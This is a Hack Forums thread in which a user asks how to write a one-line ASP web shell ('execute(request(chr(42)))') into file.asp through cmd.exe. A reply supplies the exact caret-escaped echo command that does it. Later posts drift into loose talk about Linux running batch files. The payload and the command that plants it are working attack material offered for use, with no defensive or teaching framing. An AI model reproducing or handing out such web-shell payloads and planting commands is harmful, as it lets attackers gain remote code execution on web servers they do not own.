Hack Forums
Say I wanted to 'echo' something using cmd.exe - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Computing (https://hackforums.net/forumdisplay.php?fid=88)
+---- Forum: Microsoft Windows (https://hackforums.net/forumdisplay.php?fid=347)
+---- Thread: Say I wanted to 'echo' something using cmd.exe (/showthread.php?tid=4493191)



Say I wanted to 'echo' something using cmd.exe - pwntoken - Oct 16, 2014

Say I needed to echo

Code
<% execute(Response.Write("Test") %>

using cmd.exe on commmand line and write it to a file like the following

Code
echo <% execute(request(chr(42))) %> > file.asp

how would I do that? since the

Code
<%

does not escape as we can escape these chars in Linux echo, how would we do this using cmd.exe on Windows? 🤦‍♂


* - シャドー - Oct 16, 2014

you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell


* - pwntoken - Oct 17, 2014

(Oct 16, 2014 06:42 PM)Biont Wrote:  you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell

Hi thanks figured it out. Since I am from Linux background, finding it a bit uneasy. We used to use 'echo -e' to escape in *nix


* - zacharyprime - Oct 17, 2014

Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).


* - pwntoken - Oct 18, 2014

(Oct 17, 2014 08:52 PM)zacharyprime Wrote:  Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).

wut? that's crazy 🤦‍♂
*nix does not by default run batch files. ❓


* - Freebooter - Oct 18, 2014

Nice to know your question has been answered next time if you have a batch script or Command Prompt commands questions you should open thread at the Batch, Shell, Dos, and Command Line Interpreters section.


* - Niely - Oct 19, 2014

(Oct 17, 2014 08:52 PM)zacharyprime Wrote:  Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).

Linux does only run Batch files through Wine/Dosbox/... And even then it only works if it don't include platform/OS-depended codes. :)

del (Windows) =/= rm (Linux)
echo (Windows == echo (Linux)

Bach codes with the del-command in it won't run, but echo will just run fine because Linux knows the echo-command as well. :)